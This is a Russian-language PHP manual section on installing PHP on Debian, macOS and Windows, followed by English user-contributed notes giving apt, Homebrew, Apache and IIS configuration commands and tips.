Пример #3 Способы получить список дополнительных пакетов PHP

# apt-cache search php
# apt search php | grep -i mysql
# aptitude search php

Будет выведен список большого числа пакетов, включая несколько специфичных, таких как php-cgi, php-cli and php-dev. Определите, какие вам нужны и установите с помощью apt-get или aptitude. И, так как Debian производит проверку зависимостей, вам будет выведен запрос на их установку.

Пример #4 Установка PHP с MySQL и cURL

# apt install php-mysql php-curl

APT автоматически добавит необходимые строки в соответствующие php.ini, /etc/php/7.4/php.ini, /etc/php/7.4/conf.d/*.ini, и т.д. В зависимости от модуля, будут внесены записи типа extension=foo.so. В любом случае, чтобы эти изменения вступили в силу, необходимо будет перезапустить сервер веб-сервер.

Стандартные проблемы

  • Если скрипты PHP не разбираются веб-сервером, то скорее всего это означает, что PHP не был добавлен в конфигурацию веб-сервера. На Debian это обычно /etc/apache2/apache2.conf или похожий. Смотрите документацию Debian для выяснения подробностей.
  • Модуль, по-видимому, установлен, а его функции всё равно не распознаются. В таком случае убедитесь, что соответствующий ini-файл был загружен и/или веб-сервер был перезагружен после установки модуля.
  • Для установки пакетов в Debian существуют две основных команды (не считая стандартных вариантов Linux): apt и aptitude. Объяснения их синтаксиса, особенностей и отличий друг от друга выходит за рамки данного руководства.

User Contributed Notes

kearney dot taaffe at gmail dot com 09-Jan-2018 02:24
Compiling PHP on Ubuntu boxes.

If you would like to compile PHP from source as opposed to relying on package maintainers, here's a list of packages, and commands you can run

STEP 1:
sudo apt-get install autoconf build-essential curl libtool \
  libssl-dev libcurl4-openssl-dev libxml2-dev libreadline7 \
  libreadline-dev libzip-dev libzip4 nginx openssl \
  pkg-config zlib1g-dev

So you don't overwrite any existing PHP installs on your system, install PHP in your home directory. Create a directory for the PHP binaries to live

    mkdir -p ~/bin/php7-latest/

STEP 2:
# download the latest PHP tarball, decompress it, then cd to the new directory.

STEP 3:
Configure PHP. Remove any options you don't need (like MySQL or Postgres (--with-pdo-pgsql))

./configure --prefix=$HOME/bin/php-latest \
    --enable-mysqlnd \
    --with-pdo-mysql \
    --with-pdo-mysql=mysqlnd \
    --with-pdo-pgsql=/usr/bin/pg_config \
    --enable-bcmath \
    --enable-fpm \
    --with-fpm-user=www-data \
    --with-fpm-group=www-data \
    --enable-mbstring \
    --enable-phpdbg \
    --enable-shmop \
    --enable-sockets \
    --enable-sysvmsg \
    --enable-sysvsem \
    --enable-sysvshm \
    --enable-zip \
    --with-libzip=/usr/lib/x86_64-linux-gnu \
    --with-zlib \
    --with-curl \
    --with-pear \
    --with-openssl \
    --enable-pcntl \
    --with-readline

STEP 4:
compile the binaries by typing: make

If no errors, install by typing: make install

STEP 5:
Copy the PHP.ini file to the install directory

    cp php.ini-development ~/bin/php-latest/lib/

STEP 6:

cd ~/bin/php-latest/etc;
mv php-fpm.conf.default php-fpm.conf
mv php-fpm.d/www.conf.default php-fpm.d/www.conf

STEP 7:
create symbolic links for your for your binary files

   cd ~/bin
   ln -s php-latest/bin/php php
   ln -s php-latest/bin/php-cgi php-cgi
   ln -s php-latest/bin/php-config php-config
   ln -s php-latest/bin/phpize phpize
   ln -s php-latest/bin/phar.phar phar
   ln -s php-latest/bin/pear pear
   ln -s php-latest/bin/phpdbg phpdbg
   ln -s php-latest/sbin/php-fpm php-fpm

STEP 8: link your local PHP to the php command. You will need to logout then log back in for php to switch to the local version instead of the installed version

# add this to .bashrc
if [ -d "$HOME/bin" ] ; then
  PATH="$HOME/bin:$PATH"
fi

STEP 9: Start PHP-FPM

    sudo ~/bin/php7/sbin/php-fpm
marin at sagovac dot com 23-Mar-2014 01:10
To install LAMP stack on Ubuntu (+Server) from 10.04 you need first install taskel and then lamp-server for example:

Install taskel, follow terminal guides:
sudo apt-get install tasksel

Install LAMP stack package from Ubuntu repository:
sudo tasksel install lamp-server
thumbs at apache dot org 27-Jun-2013 05:50
To refresh this document, perhaps it would be worth mentioning more modern methods to serve php content under apache httpd.

Specifically, the preferred method is now fastcgi, using either of those recipes:

(mod_fastcgi, httpd 2.2)
http://wiki.apache.org/httpd/php-fastcgi

(mod_fcgid, httpd 2.2)
http://wiki.apache.org/httpd/php-fcgid

(mod_proxy_fcgi, httpd 2.4)
http://wiki.apache.org/httpd/PHP-FPM

While the legacy mod_php approach is still applicable for some older installations, the fastcgi method is much faster, and require much less RAM to operate, based on similar traffic patterns.

Thank you!
juraj at jurajsplayground dot com 08-May-2009 05:59
On Ubuntu (since 7.04), rather do:
sudo tasksel install lamp-server

Details:
https://help.ubuntu.com/community/ApacheMySQLPHP
tranzbit at yahoo dot com 02-May-2009 01:59
On Ubuntu:

sudo apt-get install apache2 php5 mysql-client-5.0 mysql-server-5.0 phpmyadmin libapache2-mod-php5 libapache2-mod-auth-mysql php5-mysql

then restart the computer/start mysql manually
From:
http://ubuntuforums.org/showthread.php?t=186492
John Fisher 08-Feb-2007 04:53
With Apache2 and Php4 under Debian Sarge there is an extra configuration file :  /etc/apache2/sites-available/default
This file is not clearly documented, at least not for noobs, in Apache docs.

It overrides the conf file in the way you expect the /etc/apache2/conf.d/apache2-doc  to do according to the README.

Add ExecCGI to it to get rid of "Options ExecCGI is off in this directory"  errors.


Установка на macOS

Содержание

  • Использование пакетов
  • Использование встроенного PHP до macOS Monterey
  • Компилирование PHP на macOS

Этот раздел содержит руководство и различные советы по установке PHP на macOS. PHP поставлялся вместе с macOS, начиная с macOS X (10.0.0) по macOS Monterey (12.0.0). Компилирование на которых схоже с установкой в Unix-системах.

User Contributed Notes

There are no user contributed notes for this page.


Использование пакетов

Существуют несколько предварительно упакованных и предварительно скомпилированных версий PHP для macOS. Это может помочь в создании стандартных конфигураций, но если вам нужны специфические функции (например, безопасный сервер, или другой драйвер базы данных), вы можете установить PHP и/или веб-сервер самостоятельно. Если вы не знакомы с процессом сборки и компиляции программного обеспечения, стоит проверить, может кто-то уже собрал версию PHP с функциями, которые вам необходимы.

Самый быстрый способ установить PHP на macOS - с помощью homebrew:

  1. Установите homebrew, следуя инструкциям на » brew.sh

  2. brew install php

Следующие альтернативные ресурсы также предлагают простые в установке пакеты и предварительно скомпилированные двоичные файлы для PHP в Mac OS:

  • MacPorts: » http://www.macports.org/
  • Liip: » http://php-osx.liip.ch/ (PHP 5.3 - PHP 7.3; устарело)
  • Fink: » http://www.finkproject.org/

User Contributed Notes

There are no user contributed notes for this page.


Использование встроенного PHP до macOS Monterey

PHP поставлялся вместе с macOS, начиная с macOS X (10.0.0) по macOS Monterey (12.0.0). Включение PHP в стандартный веб-сервер делается простым раскомментированием нескольких строк в конфигурационном файле Apache httpd.conf в то время как CGI и/или CLI включены по умолчанию (доступны для использования терминальными программами).

Включение PHP согласно приведённой ниже инструкции предназначено для быстрой настройки локальной среды разработки. Крайне рекомендуется всегда обновлять PHP до новейшей стабильной версии. Для любого развивающегося ПО, новые версии выпускаются для исправления ошибок и добавления новой функциональности и PHP не является исключением. Читайте соответствующую документацию по установке на macOS, в которой описываются все подробности. Следующие инструкции предназначены для начинающих разработчиков и описывают стандартную установку, позволяющую быстро приступить к работе. Всем пользователям рекомендуется скомпилировать или установить из репозитория самую новую версию PHP.

Стандартная установка с использованием mod_php, который включается для стандартного веб-сервера macOS (сервер по умолчанию доступен через системные настройки) включает следующие шаги:

  1. Найдите и откройте конфигурационный файл Apache. По умолчанию он расположен по пути /private/etc/apache2/httpd.conf Использование Finder или Spotlight для нахождения файла может быть не простым, так как он располагается в приватном пространстве и принадлежит пользователю root.

    Замечание: Один из вариантов, как открыть этот файл - использовать консольный редактор, к примеру, nano, запустив его через терминал. Так как файл принадлежит пользователю root, для его открытия будет необходимо использовать команду sudo (которая повышает привилегии до пользователя root). Просто запустите приложение Terminal, введите команду sudo nano /private/etc/apache2/httpd.conf и, когда будет запрошен пароль, введите его. Полезные команды nano: ^w (искать), ^o (сохранить) и ^x (закрыть), где ^ - это клавиша Ctrl.

    Замечание: Версии macOS до 10.5 содержат устаревшие версии PHP и Apache. В этом случае конфигурационный файл может располагаться по пути /etc/httpd/httpd.conf.

  2. В текстовом редакторе найдите следующие строки и раскомментируйте их удалив символ # из начала строки (эти строки обычно находятся в разных местах файла):

    # LoadModule php5_module libexec/httpd/libphp5.so

# AddModule mod_php5.c
    Запомните путь к файлу, так как при сборке PHP в будущем может потребоваться изменить эти строки.

  3. Убедитесь, что выбранные модули будут обрабатываться как файлы PHP (.php .html и .inc).

    Так как следующие выражения уже содержатся в httpd.conf (по состоянию на Mac Panther), единожды включив PHP, файлы .php будут автоматически обрабатываться им.

    <IfModule mod_php5.c>
    # Если PHP разрешён, он будет обрабатывать файлы .php и .phps.
    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps

    # Часто требуется, чтобы  index.php рассматривался как
    # страница по умолчанию, если она прямо не указана.
    # Сделать это можно следующим образом
    <IfModule mod_dir.c>
        DirectoryIndex index.html index.php
    </IfModule>
</IfModule>

    Замечание:

    До macOS 10.5 (Leopard), в состав ОС был включён PHP 4, а не PHP 5. В таком случае в инструкциях выше просто поменяйте 5 на 4.

  4. Убедитесь, что DirectoryIndex загружает индексный файл по умолчанию Данное поведение задаётся в httpd.conf. Обычно используются index.php и index.html. По умолчанию index.php разрешён. Если требуется, то отключите.
  5. Определите местоположение php.ini или используйте настройки по умолчанию Обычно на macOS он расположен по пути /usr/local/php/php.ini и вызов phpinfo() выведет соответствующую информацию. Если php.ini не используется, PHP будет использовать значения по умолчанию. Также обратите внимание на FAQ поиск php.ini.
  6. Как найти или установить DocumentRoot DocumentRoot - это корневая директория веб-сервера, в которой лежат скрипты сайта. Обычно, путь по умолчанию, он равен /Library/WebServer/Documents, но его можно изменить на любой другой в httpd.conf. Также, для индивидуальных пользователей, DocumentRoot может быть установлен как /Users/yourusername/Sites
  7. Создание файла с phpinfo()

    Функция phpinfo() отображает информацию о PHP. Создайте в DocumentRoot скрипт с таким кодом:

    <?php phpinfo(); ?>

  8. Перезапустите Apache и запросите через браузер созданный выше файл.

    Для перезапуска выполните sudo apachectl graceful в терминале или выполните stop/start для "Personal Web Server" в системных настройках macOS. По умолчанию, локальные файлы можно загрузить введя в строке браузера URL, например, так: http://localhost/info.php, или используя DocumentRoot в локальной директории пользователя, таким образом: http://localhost/~yourusername/info.php

CLI (или в более старых версиях CGI) именуется как php и содержится в /usr/bin/php. Откройте терминал, прочитайте раздел документации PHP командная строка, и запустите php -v для проверки установленной версии PHP. Вызов функции phpinfo() также покажет эту информацию.

User Contributed Notes

10086 at xiaoi dot me 10-Jun-2019 09:54
setup apache + php environment on macOS 10.12.6

step 1:  start httpd by apachectl
 > sudo apachectl start

step 2: find httpd.conf
 > sudo apachectl -t -D DUMP_INCLUDES

step 3: edit conf, eg: /opt/local/etc/apache2/httpd.conf
 > sudo vim  /opt/local/etc/apache2/httpd.conf

step 4: Load php module before <IfModule unixd_module>, eg:
```
LoadModule php5_module /usr/libexec/apache2/libphp5.so
<IfModule unixd_module>
```

step 5: add mod_php5.c end of httpd.conf
```
<IfModule mod_php5.c>
    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps
    <IfModule mod_dir.c>
        DirectoryIndex index.html index.php
    </IfModule>
</IfModule>
```

step 6: save and quit
step 7: restart httpd
 > sudo apachectl restart

step 8: write demo.php , test configuration
```
<?php
    phpinfo();
?>
```

step 9: copy demo.php to "DocumentRoot", you can find by httpd.conf

step 10: visit demo.php

all done.
Anonymous 15-Nov-2008 02:36
You only have to uncomment:
#LoadModule php5_module        libexec/apache2/libphp5.so

This is gone:
# AddModule mod_php5.c

The statement in 3 was changed to:
<IfModule mime_module>
    #
    # TypesConfig points to the file containing the list of mappings from
    # filename extension to MIME-type.
    #
    TypesConfig /private/etc/apache2/mime.types

    #
    # AddType allows you to add to or override the MIME configuration
    # file specified in TypesConfig for specific file types.
    #
    #AddType application/x-gzip .tgz
    #
    # AddEncoding allows you to have certain browsers uncompress
    # information on the fly. Note: Not all browsers support this.
    #
    #AddEncoding x-compress .Z
    #AddEncoding x-gzip .gz .tgz
    #
    # If the AddEncoding directives above are commented-out, then you
    # probably should define those extensions to indicate media types:
    #
    AddType application/x-compress .Z
    AddType application/x-gzip .gz .tgz

    #
    # AddHandler allows you to map certain file extensions to "handlers":
    # actions unrelated to filetype. These can be either built into the server
    # or added with the Action directive (see below)
    #
    # To use CGI scripts outside of ScriptAliased directories:
    # (You will also need to add "ExecCGI" to the "Options" directive.)
    #
    #AddHandler cgi-script .cgi

    # For type maps (negotiated resources):
    #AddHandler type-map var

    #
    # Filters allow you to process content before it is sent to the client.
    #
    # To parse .shtml files for server-side includes (SSI):
    # (You will also need to add "Includes" to the "Options" directive.)
    #
    #AddType text/html .shtml
    #AddOutputFilter INCLUDES .shtml
</IfModule>

Extra MIME types can either be added to the file /private/etc/apache2/mime.types or by using an AddType directive as commented on above.


Компилирование PHP на macOS

Для компиляции PHP на macOS прочтите руководство по установке на Unix.

User Contributed Notes

There are no user contributed notes for this page.


Установка в системах Windows

Содержание

  • Требования к установке
  • PECL
  • Инструмент установки PHP на Windows
  • Рекомендованная конфигурация для систем Windows
  • Самостоятельная установка PHP в Windows
  • Сборка из исходных кодов
  • Командная строка PHP в Microsoft Windows
  • Apache 2.x в Microsoft Windows
  • Стандартные проблемы PHP под Windows

Установка PHP в современных операционных системах Microsoft Windows и рекомендуемая конфигурация под распространённые веб-серверы.

Официальные релизы PHP для Windows рекомендованы для использования в промышленной эксплуатации. Однако, вы также можете собрать PHP из исходных кодов. Вам потребуется окружение Visual Studio. Обратитесь к разделу » Пошаговое руководство по сборке для получения более полной информации.

  • Использование PHP в командной строке Windows

  • Установка PHP на Azure App Services (он же Microsoft Azure, Windows Azure, или (Windows) Azure Web Apps).

User Contributed Notes

bufoni at hotmail dot com 17-Sep-2009 07:49
Oh Man!

I installed by Microsoft Installer, manually, whatever I always received de same error from IIS7.

HTTP Error 404.3 - Not Found
The page you are requesting cannot be served because of the extension configuration. If the page is a script, add a handler. If the file should be downloaded, add a MIME map.

The IIS7 interface is quite diferent and are not all together like IIS6

The 5.3 version have not any of those files: php5stdll, php5isapi.dll. etc.

The installer puts others files in handlers and I decided to use them as substitutes. Nothing done!

After that, I discovered that installer do not install these files within the sites, but in the root default site configuration of IIS7.

So, I copied the root configuration to my site and them it worked (all others procedures were done e.g. copy php.ini to windows folder)
dpharshman at dslextreme dot com 16-May-2009 05:52
PHP 5.2.9.2 Install on XP Pro IIS 5.1 - phpinfo( ) results incorrect

Testing Date:  05.15.09

Background:
For several days now I, as a newbie, have been unsure if I had installed PHP correctly, or not.  No matter what I did phpinfo( ) reported "Configuratin File Path" as:  "C:\WINDOWS".  I was left to wonder what was wrong.

To help resolve the phpinfo() "issue", I conducted a series of tests using two scripts:

The first is "test-php-ini-loaded.php"; it is stored in c:\inetpub\wwwroot, and has the following code:

    <?php
    $inipath = php_ini_loaded_file();

    if ($inipath) {
        echo 'Loaded php.ini: ' . $inipath;
    } else {
        echo 'A php.ini file is not loaded';
    }
    ?>

The second script is simply calls phpinfo( ).  It is named test.php, is stored in "c:\inetpub\wwroot",  and has the following code:

    <?php phpinfo( ); ?>

My Dev Environment:
1. Windows XP Pro SP3
2. IIS 5.1 / MMC 3.0
3. PHP 5.2.9.2 - phpMyAdmin not yet installed
4. (plus MySQL 5.1, etc.)
5. Install location is on my local E: drive

The Tests:

Test 1:
a. PHPRC environment variable and IniFilePath Registry left in place and active
b. Verified no other copies of php.ini exist on the system other than in my E:\PHP folder
c. Renamed php.ini to hold-php.ini
d. Stopped and started IIS ("net stop iisadmin" and "net start w3svc")
e. Ran "test-php-ini-loaded.php" to check whether my php.ini is loaded.  It is not.
f. Ran "test.php".  "Loaded Configuration File" was empty, while "Configuration File (php.ini) Path" showed:  C:\WINDOWS.

Test 2:
a. Moved php.ini from E:\PHP to C:\WINDOWS
b. Stopped and started IIS
c. Ran "test-php-ini-loaded.php" to check if my php.ini is loaded.  It is not, which surprised me.
d. Ran "test.php".  My php.ini is apparently not loaded, or found, by phpinfo( ), even though "Configuration File (php.ini) Path" reports it as being in C:\WINDOWS.
e. Note:  Per PHP's "The configuration file" note, PHP's search order includes:  "Windows directory (C:\windows or C:\winnt) (for Windows), ..."; but it apparently doesn't or php.ini would have been found and displayed at "Loaded Configuration File".

Test 3:
a. Left the solo copy of my php.ini in C:\WINDOWS
b. Disabled PHPRC environment variable by renaming it to "Ex-PHPRC and saving the settings (note: for this test  I left the Registry entry for PHP IniFilePath intact)
c. Stopped and started IIS
d. Ran "test-php-ini-loaded.php" to check whether my php.ini is loaded.  Predictably it is not found.
e. Ran the "test.php".  Again, my php.ini file is reported as not found in C:\WINDOWS though "Configuration File (php.ini) Path" reports it as being there.

Test 4:
a. To be thorough and eliminate all possible sources of "mis-direction" I deleted the PHP IniFilePath Registry entry (after backing up the Registry).  The PHPRC environment variable was left disabled.
b. Stopped and started IIS
c. Ran "test-php-ini-loaded.php" to check whether my php.ini is loaded.  Predictably it is not.
d. Ran "test.php".  Again, no change.  My php.ini file is not found "Configuration File (php.ini) Path" reports it as being there.

Conclusions:
The first conclusion I came to is that, in the default download version of phpinfo( ), "Configuration File (php.ini) Path" is hard-wired to report C:\WINDOWS whether php.ini is there or not.  Further, that C:\WINDOWS is not a default search location (at least not on XP).

However, given an otherwise "proper" setup, phpinfo() reporting C:\WINDOWS as the value for "Configuration File (php.ini) Path" is merely misleading and is not actually harmful or indicative of a failed installation.

Thanks go to Peter Guy of www.peterguy.com who suggested the testing, and to Daniel Brown of www.php.net for some initial guidance.

P.S.  This note is not meant to take anything away from PHP.  It is a fine tool.  The sole purpose of the testing was to confirm that my installation of PHP was correct.
smileclick at hotmail dot com 23-Dec-2007 07:02
Still Can't Run PHP Code?

After installing php-5.2.5-win32-installer.msi on my Windows XP2. with IIS5.1 it still didn't run PHP files.

I eventually found the fix*:

1. Goto Control Panel>System>Advanced>Environmental Variables
2. Add a New System Variable "PHRC" and set its path as "C:\Program Files\PHP"
3. Restart

*source:
http://us2.php.net/manual/en/faq.installation.php
#faq.installation.addtopath
robert dot johnson at icap dot com 13-Dec-2007 07:19
IIS setup: 403 forbidden error.

We had installed two separate different PHP versions - PHP 5.1.4 followed by 5.2.5.

We configured 5.2.5 php5isapi.dll to be loaded as the .php file type extension.

Despite this, php version 5.1.4 was being loaded.  We renamed 5.1.4's folder and then PHP was not loading at all.

There were no visible references to 5.1.4 in the IIS configuration, but in the file \webConfig.xml, there was a reference to 5.1.4's isapi under IISFilters.

To fix this problem, we added version 5.2.5's php5isapi.dll to the ISAPI Filter category for the web site, in the IIS control panel.
Jack Hardie 08-Sep-2007 02:33
If you are installing PHP on Vista just go to David Wang's blog. http://blogs.msdn.com/david.wang/
archive/2006/06/21/HOWTO-Install-and-Run-PHP-on-IIS7-Part-2.aspx

Magic!
jneill at gamedaytv dot com 08-Nov-2006 05:36
Here's how to run dual PHP instances with PHP 5.2 and any previous PHP on Windows 2003:

1. Right-click My Computer, go to Advanced tab, and click on Environment Variables.

Add the two installations and their EXT directories to the Path variable. For example, add:
c:\php;c:\php\ext;c:\TMAS\php;c:\tmas\php\ext;

Then, add the newer PHP version's directory as a variable called PHPRC. For example:
Variable:PHPRC
Value: C:\PHP

Click OK to close the Environment Variables window, and click OK to close System Properties.

2. In registry, under HKEY_LOCAL_MACHINE>SOFTWARE>PHP, add a REG_SZ key called iniFilePath and give it a value
of the directory where the older PHP is installed. For example:
C:\TMAS\PHP

3. In IIS, go to the Web Service Extensions. Add both versions' ISAPI module separately to the extensions
list, and allow both.

4. In IIS, go to each website utilizing the PHP versions. Set an ISAPI filter if needed. On the Home Directory
tab, click Configuration, and add .php, .php3, .phtml, and any other extensions needed (perhaps .html?) to
be filtered through PHP, and specify the ISAPI module version needed for each website.

You can now run two versions of PHP. This is because the order of where to look for the .ini file changed
between previous PHP versions and PHP 5.2, as documented at http://us2.php.net/ini:

---------------------------------------------------
 php.ini is searched in these locations (in order):

    * SAPI module specific location (PHPIniDir directive in Apache 2, -c command line option in CGI and CLI, php_ini parameter in NSAPI, PHP_INI_PATH environment variable in THTTPD)
    * The PHPRC environment variable. Before PHP 5.2.0 this was checked after the registry key mentioned below.
    * HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath (Windows Registry location)
    * Current working directory (for CLI)
    * The web server's directory (for SAPI modules), or directory of PHP (otherwise in Windows)
    * Windows directory (C:\windows or C:\winnt) (for Windows), or --with-config-file-path compile time option
----------------------------------------------------
webmaster at nachelfamily dot com 07-Nov-2006 05:13
I made the mistake of setting a 'wildcard application map' for PHP on a Windows 2003 / IIS 6.0 / PHP ISAPI installation.

This resulted in "No input file specified" errors whenever I tried to load the default page in my site's directories.  I don't know why this broke things, but it did.

If anyone has the same problem, this may be the cause.
SmugWimp at smugwimp dot com 20-Apr-2006 02:29
If you make changes to your PHP.ini file, consider the following.

(I'm running IIS5 on W2K server. I don't know about 2K3)

PHP will not "take" the changes until the webserver is restarted, and that doesn't mean through the MMC.  Usually folks just reboot. But you can also use the following commands, for a much faster "turnaround".  At a command line prompt, type:

iisreset /stop

and that will stop the webserver service.  Then type:

net start w3svc

and that will start the webserver service again.  MUCH faster than a reboot, and you can check your changes faster as a result with the old:

<?php>
phpinfo();
?>

in your page somewhere.

I wish I could remember where I read this tip; it isn't anything I came up with...
ratkinson at tbs-ltd dot co dot uk 04-Apr-2006 05:28
When installing onto the Windows IIS platform, ensure you add the PHPRC Server Variable to point to your PHP.INI file.

Also, add '.INI' to the FILEEXT Server Variable. Failure to add these could stop the PHP engine being able to find your PHP.INI file, and none of your modifications will be read.

Rob.
lukasz at szostak dot biz 15-Jan-2006 07:50
You can have multiple versions of PHP running on the same Apache server. I have seen many different solutions pointing at achieving this, but most of them required installing additional instances of Apache, redirecting ports/hosts, etc., which was not satisfying for me.
Finally, I have come up with the simplest solution I've seen so far, limited to reconfiguring Apache's httpd.conf.

My goal is to have PHP5 as the default scripting language for .php files in my DocumentRoot (which is in my case d:/htdocs), and PHP4 for specified DocumentRoot subdirectories.

Here it is (Apache's httpd.conf contents):

---------------------------
# replace with your PHP4 directory
ScriptAlias /php4/ "c:/usr/php4/"
# replace with your PHP5 directory
ScriptAlias /php5/ "c:/usr/php5/"

AddType application/x-httpd-php .php
Action application/x-httpd-php "/php5/php-cgi.exe"

# populate this for every directory with PHP4 code
<Directory "d:/htdocs/some_subdir">
    Action application/x-httpd-php "/php4/php.exe"
    # directory where your PHP4 php.ini file is located at
    SetEnv PHPRC "c:/usr/php4"
</Directory>

# remember to put this section below the above
<Directory "d:/htdocs">
    # directory where your PHP5 php.ini file is located at
    SetEnv PHPRC "c:/usr/php5"
</Directory>
---------------------------

This solution is not limited to having only two parallel versions of PHP. You can play with httpd.conf contents to have as many PHP versions configured as you want.
You can also use multiple php.ini configuration files for the same PHP version (but for different DocumentRoot subfolders), which might be useful in some cases.

Remember to put your php.ini files in directories specified in lines "SetEnv PHPRC...", and make sure that there's no php.ini files in other directories (such as c:\windows in Windows).

And finally, as you can see, I run PHP in CGI mode. This has its advantages and limitations. If you have to run PHP as Apache module, then... sorry - you have to use other solution (the best advice as always is: Google it!).

Hope this helps someone.
jp at iticonsulting dot nl 23-Jul-2005 09:42
If you get 404 page not found on Windows/IIS5, have a look at C:\SYSTEM32\INETSRV\URLSCAN

There is a .ini file there that prevents some files from being served by IIS, even if they exist, instead IIS will give a 404. The urlscan logfile (same place) should give you some insight into what parameter is preventing a page from loading, if any.
Feroz Zahid 08-Jun-2005 01:41
In order to run php scripts with php.exe CGI instead of php4isapi.dll under IIS, following steps can be followed.

i) Add a web service extension for PHP using IIS manager. Choose a web service extension name like 'PHP' and add your php.exe path in the 'file location' while adding the required file e.g. 'C:\php\php.exe' in the Add extension dialog box. Don't forget to 'Allow' the extension file.

ii) Open php.ini file located at %systemroot%. Set the following variables to the shown values.

cgi.force_redirect = 0
cgi.redirect_status_env = ENV_VAR_NAME

iii) In your websites, add Application Mapping for '.php' and set the executable path to your php.exe file path.

You can test whether PHP is running or not and other PHP settings using the following simple PHP script.

<?php>
phpinfo();
?>

Feroz Zahid
ferozzahid [_at_] usa [_dot_] [_com_]


Требования к установке

Для PHP требуется как минимум Windows 2008/Vista. 32-Bit или 64-bit (AKA X86 или X64. PHP не работает на Windows RT/WOA/ARM). Начиная с PHP 7.2.0, Windows 2008 и Vista больше не поддерживаются.

PHP требует наличия Visual C runtime(CRT). Многие приложения требуют, чтобы это уже было установлено.

Распространяемый Microsoft Visual C ++ для Visual Studio 2019 подходит для всех этих версий PHP, смотрите » https://visualstudio.microsoft.com/downloads/.

Вы должны скачать x86 CRT для сборки PHP x86 и x64 CRT для сборки PHP x64.

Если CRT уже установлен, установщик скажет вам об этом и ничего не будет устанавливать.

Инсталятор CRT поддерживает опции командной строки /quiet и /norestart, вы можете использовать их при запуске скрипта.

User Contributed Notes

There are no user contributed notes for this page.


PECL

PECL модули для Windows предварительно скомпилированы и доступны по ссылке: » http://windows.php.net/downloads/pecl/releases/

Некоторые модули используют особенности, специфичные для Unix систем и не доступны для Windows. Или напротив модули могут быть доступны только для Windows.

User Contributed Notes

There are no user contributed notes for this page.


Инструмент установки PHP на Windows

Инструмент установки PHP

» XAMPP, WampServer и BitNami установят PHP с использованием в качестве веб-сервера Apache под Windows.

Установка и настройка Nginx на Windows потребует немного больше конфигурации. Смотрите » документацию по Nginx для получения помощи по установке.

User Contributed Notes

Arthur 09-Oct-2023 02:29
Highly suggest installing winget from the Windows Store (Called "App Installer" there) and using `winget install php` from the terminal. Easiest way in my opinion
karlcoupons127 at gmail dot com 21-Jun-2023 10:40
I had success installing PHP on windows with chocolatey, the package manager for windows. As of this comment, the version choco provided was 8.2.7, which is the latest.

One command from an elevated powershell: 'choco install php'

https://community.chocolatey.org/packages/php
v4ri4bl3 at gmail dot com 10-Jun-2022 01:32
Install using Windows Terminal (or PowerShell):

  > winget install xampp


Рекомендованная конфигурация для систем Windows

OpCache

Крайне рекомендуется использовать OpCache. Этот модуль идёт в составе дистрибутива для Windows. Модуль компилирует PHP-скрипт, оптимизирует его и кеширует в памяти , что позволяет не тратить время и ресурсы сервера на компиляцию скрипта при каждом запросе к нему.

Установите в вашем php.ini следующие опции

Пример #1 Рекомендованная конфигурация OpCache

opcache.enable=On
opcache.enable_cli=On
И перезагрузите ваш веб-сервер. Более подробно читайте: Конфигурация OpCache

WinCache

Если вы используете IIS, то рекомендуется вместе с ним использовать WinCache, особенно если используется виртуальный хостинг или сетевое хранилище (NAS). Все приложения PHP будут автоматически получать преимущества WinCache. Файловые операции будут кешироваться в памяти. Также WinCache может кешировать в памяти пользовательские объекты и разделять их между разными процессами php.exe или php-cgi.exe (разделение объектом между запросами). Многие веб-приложения имеют плагин, модуль или опции настройки, позволяющие использовать кеширование пользовательских объектов с помощью WinCache. Если вам нужна высокая производительность, вам придётся кешировать объекты в своём приложении. Загрузить WinCache можно по ссылке » http://pecl.php.net/package/WinCache. После загрузки будет нужно сохранить WinCache DLL в директорию модулей PHP (extensions_dir в вашем php.ini). Установите в вашем php.ini следующие опции:

Пример #2 Рекомендованная конфигурация WinCache

extension=php_wincache.dll
wincache.fcenabled=1
wincache.ocenabled=1 ; удалено в wincache 2.0.0.0
Более подробно читайте: Конфигурация WinCache

Конфигурация IIS

В IIS Manager установите модуль FastCGI и добавьте обработку `.php` файлом PHP-CGI.exe (не PHP.exe)

Вы можете использовать приложение APPCMD из командной строки для автоматизации настройки ISS.

База данных

Наверное вам понадобится сервер баз данных. Для всех популярных баз данных существуют модули PHP. Если ваш сайт не рассчитывается под высокую нагрузку, то сервер баз данных можно держать на том же хосте, что и веб-сервер. Под Windows доступно множество различных баз данных.

PHP модули включают mysqli и pdo_mysql.

Дополнительно читайте » https://dev.mysql.com/downloads/windows/

User Contributed Notes

There are no user contributed notes for this page.


Самостоятельная установка PHP в Windows

Выберите веб-сервер

IIS

IIS является встроенным в Windows. На сервере Windows используйте Server Manager для добавления роли IIS. Убедитесь, что функция роли CGI включена. На рабочем столе Windows используйте панель "Установка и удаление программ" для добавления IIS. В документации Microsoft есть » подробные инструкции. Для настольных веб-приложений и веб-разработки можно также использовать IIS/Express или рабочий стол PHP.

Пример #1 Командная строка для настройки IIS и PHP

@echo off

REM download .ZIP file of PHP build from http://windows.php.net/downloads/

REM path to directory you decompressed PHP .ZIP file into (no trailing \)
set phppath=c:\php

REM Clear current PHP handlers
%windir%\system32\inetsrv\appcmd clear config /section:system.webServer/fastCGI
REM The following command will generate an error message if PHP is not installed. This can be ignored.
%windir%\system32\inetsrv\appcmd set config /section:system.webServer/handlers /-[name='PHP_via_FastCGI']

REM Set up the PHP handler
%windir%\system32\inetsrv\appcmd set config /section:system.webServer/fastCGI /+[fullPath='%phppath%\php-cgi.exe']
%windir%\system32\inetsrv\appcmd set config /section:system.webServer/handlers /+[name='PHP_via_FastCGI',path='*.php',verb='*',modules='FastCgiModule',scriptProcessor='%phppath%\php-cgi.exe',resourceType='Unspecified']
%windir%\system32\inetsrv\appcmd set config /section:system.webServer/handlers /accessPolicy:Read,Script

REM Configure FastCGI Variables
%windir%\system32\inetsrv\appcmd set config -section:system.webServer/fastCgi /[fullPath='%phppath%\php-cgi.exe'].instanceMaxRequests:10000
%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi /+"[fullPath='%phppath%\php-cgi.exe'].environmentVariables.[name='PHP_FCGI_MAX_REQUESTS',value='10000']"
%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi /+"[fullPath='%phppath%\php-cgi.exe'].environmentVariables.[name='PHPRC',value='%phppath%\php.ini']"

Apache

